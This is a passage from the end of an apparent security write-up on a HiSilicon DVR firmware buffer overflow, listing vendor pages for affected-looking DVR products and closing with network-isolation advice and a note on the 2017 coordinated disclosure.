http://starligh.com/cctv/grabadoras.html
http://www.activepixel.us/ap-0404-ahd.html
http://j2000.ru/cat/DVR/
http://partizan.global/product/ahd-video-surveillance/ahd-dvrs.html
http://kenik.pl/index.php/tag/rejestrator/
http://www.redebsd.com.br/categoria-25-gravacao-digital
http://www.idvr.com.br/produtos-index/categorias/2374896/dvr___ahd_lancamento.html
http://www.visagems.com.br/prd.asp?idP=1119575
http://www.braskell.com.br/dvr.html
http://www.segvideo.com/segvideo/nvr-hvr.html
http://www.neocam.com.br/cameras-cftv/stand-alone
http://www.venetian.com.br/categoria/dvr-hvr-04-canais/
http://www.cctvkits.co.uk/oyn-x-orpheus-hdtvi-4-channel-dvr-1080p.html
http://ecopower-brasil.com/produto/DVR-HSBS-HSBS%252d3604.html
http://www.vixline.com.br/vitrine-de-produtos/dvrs/
http://aliveelectronics.com.br/category/gravadores-de-video/
http://www.issl.com.hk/CCTV_DVRCYVIEW1.htm
http://idview.com/IDVIEW/Products/DVR/dvr-Analog.html

http://www.vonnic.ca/products376e.html?cat=13
http://polyvision.ru/polyvision/catalog_gibridnye.html
http://altcam.ru/video/hd-videonabludenie/
http://cyfron.ru/catalog/dvr/
http://www.t54.ru/catalog/videoregistratory/ahd_analogovye_registratory/
http://www.hiview.co.th/index.php?mo=3&art=42195125
http://www.kkmoon.com/usb-fan-271/p-s413-uk.html
http://qvisglobal.com/ahd-tvi-960h-hybrid
https://www.beylerbeyiguvenlik.com.tr/kayitcihazlari-beylerbeyi.html
http://www.novicam.ru/index.php?route=product/product&product_id=429
http://www.espuk.com/uploads/catalogue/HDview%20catalogue%202015.pdf
http://www.ebay.com/itm/SNOWDON-8-CHANNEL-PROFESSIONAL-CCTV-NETWORK-DVR-MACHINE-SYSTEM-H-264-1TB-500GB-/172250300884
http://giraffe.by/catalog/tsifrovye-videoregistratory
http://www.winpossee.com/en/list/?17_1.html
http://tesamed.com.pl/rejestrator-cyfrowy-vtv-n-1016-vtvision-dvr-16-kanalowy-p-532.html
http://hiq-electronics.ru/videoregistratory
http://www.eltrox.pl/catalogsearch/result/?q=easycam+rejestrator&order=v_117002&dir=desc
http://www.x5tech.com.tr/?cmd=UrunListe&GrupNo=265&t=0
http://bigit.ro/dvr-16-canale-hybrid-full-d1-asrock-as-616tel.html
http://secur.ua/videonablyudenie/ustroystva-zapisi/dvr/?brand_vreg=1557
http://www.divitec.ru/videoregistratoryi-divitec-idvr/

In general, it can be said that these kind of cheap IoT devices are security nightmares. Every device tested recently by the author had some serious or critical vulnerability. From a pentester's point of view the recommendation is that these kind of devices must be separated well, these kind of devices must not share the same network with important, confidential data. Unfortunately there is no real chance to get updates with patches for such firmwares.

Finally, it is important to tell that this buffer overflow vulnerability (with the exploit PoC code) had been disclosed through the SecuriTeam Secure Disclosure (SSD) program of Beyond Security. The vendor (HiSilicon) had been notified (by Beyond Security) at the end of 2016, but there was no reply before the vulnerability had been released to public (it is a common thing, unfortunately).

The released disclosure from Feb 2017 is available here.